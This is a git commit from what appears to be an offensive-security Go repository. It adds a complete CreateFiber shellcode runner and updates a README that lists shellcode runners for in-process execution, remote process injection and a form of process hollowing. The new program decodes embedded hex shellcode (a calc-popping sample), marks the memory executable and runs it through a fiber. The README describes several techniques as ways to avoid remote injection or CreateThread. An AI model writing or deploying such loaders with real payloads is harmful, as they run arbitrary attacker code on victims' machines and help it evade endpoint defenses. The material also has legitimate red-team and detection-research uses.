Added CreateFiber program

This commit is contained in:
Ne0nd0g
2020-06-06 06:43:01 -04:00
parent a961776397
commit a3ff542f34
2 changed files with 183 additions and 7 deletions
+18 -7
View File
@@ -4,6 +4,7 @@
The available Shellcode runners include:
* [CreateFiber](#CreateFiber)
* [CreateProcess](#CreateProcess)
* [CreateProcessWithPipe](#CreateProcessWithPipe)
* [CreateRemoteThread](#CreateRemoteThred)
@@ -15,11 +16,21 @@ The available Shellcode runners include:
* [Syscall](#Syscall)
* [Shellcode Utils](#ShellcodeUtils)
## CreateFiber
This application leverages the Windows [CreateFiber](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfiber) function from the `Kernel32.dll` to execute shellcode within this application's process. This is usefull when you want to avoid remote process injection and want to avoid calling `CreateThread`. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function.
**NOTE:** I have not figured out way to have the process exit and you will have to manually terminate it.
The application can be compiled with the following command on a Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o CreateFiber.exe .\cmd\CreateFiber\main.go`
## CreateProcess
This application leverages the Windows [CreateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw) function from `Kernel32.dll`. The process is created in a suspended state, the [AddressOfEntryPoint](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32) in the `IMAGE_OPTIONAL_HEADER` structure is updated to execute shellcode in the childprocess, and then the process is resumed. This is a type of process hollowing but the existing PE is **NOT** unmapped and the ThreadContext is **NOT** updated. The provided shellcode architecture (i.e. x86 or x64) must match the architecture of the child process.
The application can be compiled with the following command on Windows host from the project's root directory:
The application can be compiled with the following command on a Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o CreateProcess.exe .\cmd\CreateProcess\main.go`
@@ -32,7 +43,7 @@ This application differs from [CreateProcess](#CreateProcess) because it will co
`.\donut.exe -o donut_v0.9.3_Seatbelt.bin -x 2 -c Seatbelt.Program -m Main -p "ARPTable" Seatbelt.exe`
The application can be compiled with the following command on Windows host from the project's root directory:
The application can be compiled with the following command on a Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o CreateProcessWithPipe.exe .\cmd\CreateProcessWithPipe\main.go`
@@ -42,7 +53,7 @@ This application leverages the Windows [CreateRemoteThread](https://docs.microso
`pid := flag.Int("pid", 0, "Process ID to inject shellcode into")`
This application leverages functions from the `golang.org/x/sys/windows` package, where feasible, like the [`windows.OpenProcess()`](https://github.com/golang/sys/blob/a7d97aace0b0/windows/zsyscall_windows.go#L1197). The application can be compiled wit the following command on Windows host from the project's root directory:
This application leverages functions from the `golang.org/x/sys/windows` package, where feasible, like the [`windows.OpenProcess()`](https://github.com/golang/sys/blob/a7d97aace0b0/windows/zsyscall_windows.go#L1197). The application can be compiled wit the following command on a Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o CreateRemoteThread.exe .\cmd\CreateRemoteThread\main.go`
@@ -70,7 +81,7 @@ This application leverages the Windows [CreateThread](https://docs.microsoft.com
## EtwpCreateEtwThread
This application leverages the Windows [EtwpCreateEtwThread](https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm) function from `ntdll.dll` to execute shellcode within this application's process. Original work by [TheWover](https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3). This is usefull when you want to avoid remote process injection. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled with the following command on Windows host from the project's root directory:
This application leverages the Windows [EtwpCreateEtwThread](https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm) function from `ntdll.dll` to execute shellcode within this application's process. Original work by [TheWover](https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3). This is usefull when you want to avoid remote process injection. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled with the following command on a Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o EtwpCreateEtwThread.exe .\cmd\EtwpCreateEtwThread\main.go`
@@ -80,13 +91,13 @@ This application leverages the Windows [RtlCreateUserThread](https://undocumente
`pid := flag.Int("pid", 0, "Process ID to inject shellcode into")`
This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled with the following command on Windows host from the project's root directory:
This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The most significant difference is that this application loads all the necessary DLLs and Procedures itself and uses the procedure's Call() function. The application can be compiled with the following command on a Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o RtlCreateUserThread.exe .\cmd\RtlCreateUserThread\main.go`
## Syscall
This application executes Shellcode in the current running proccess by making a Syscall on the Shellcode's entry point. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The application can be compiled with the following command on Windows host from the project's root directory:
This application executes Shellcode in the current running proccess by making a Syscall on the Shellcode's entry point. This application **DOES NOT** leverage functions from the `golang.org/x/sys/windows` package. The application can be compiled with the following command on a Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o Syscall.exe .\cmd\Syscall\main.go`
@@ -178,6 +189,6 @@ PS C:\Users\bob> .\ShellcodeUtils.exe -i C:\Users\bob\calc.aes.bin -o C:\Users\b
[+]aes256 decrypt input and wrote 105 bytes to: C:\Users\bob\calc.aes.decrypted.bin
```
The application can be compiled with the following command on Windows host from the project's root directory:
The application can be compiled with the following command on a Windows host from the project's root directory:
`set GOOS=windows GOARCH=amd64;go build -o ShellcodeUtils.exe .\cmd\ShellcodeUtils\main.go`
+165
View File
@@ -0,0 +1,165 @@
// +build windows
/*
This program executes shellcode in the current process using the following steps
1. Convert the main thread into a fiber with the ConvertThreadToFiber function
2. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
3. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
4. Change the memory page permissions to Execute/Read with VirtualProtect
5. Call CreateFiber on shellcode address
6. Call SwitchToFiber to start the fiber and execute the shellcode
NOTE: Currently this program will NOT exit even after the shellcode has been executed. You must force terminate this process
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
Reference: https://ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber
*/
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
}
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
CreateFiber := kernel32.NewProc("CreateFiber")
SwitchToFiber := kernel32.NewProc("SwitchToFiber")
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
fiberAddr, _, errConvertFiber := ConvertThreadToFiber.Call()
if errConvertFiber != nil && errConvertFiber.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling ConvertThreadToFiber:\r\n%s", errConvertFiber.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Fiber address: %x", fiberAddr))
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Calling CreateFiber...")
}
fiber, _, errCreateFiber := CreateFiber.Call(0, addr, 0)
if errCreateFiber != nil && errCreateFiber.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling CreateFiber:\r\n%s", errCreateFiber.Error()))
}
if *verbose {
fmt.Println(fmt.Sprintf("Shellcode fiber created: %x", fiber))
}
if *debug {
fmt.Println("[DEBUG]Calling SwitchToFiber function to execute the shellcode")
}
_, _, errSwitchToFiber := SwitchToFiber.Call(fiber)
if errSwitchToFiber != nil && errSwitchToFiber.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling SwitchToFiber:\r\n%s", errSwitchToFiber.Error()))
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
if *debug {
fmt.Println("[DEBUG]Calling SwitchToFiber on main thread/fiber")
}
_, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr)
if errSwitchToFiber2 != nil && errSwitchToFiber2.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling SwitchToFiber:\r\n%s", errSwitchToFiber2.Error()))
}
fmt.Println("[DEBUG]I AM HERE")
}
// export GOOS=windows GOARCH=amd64;go build -o goCreateFiberNative.exe cmd/CreateFiber/main.go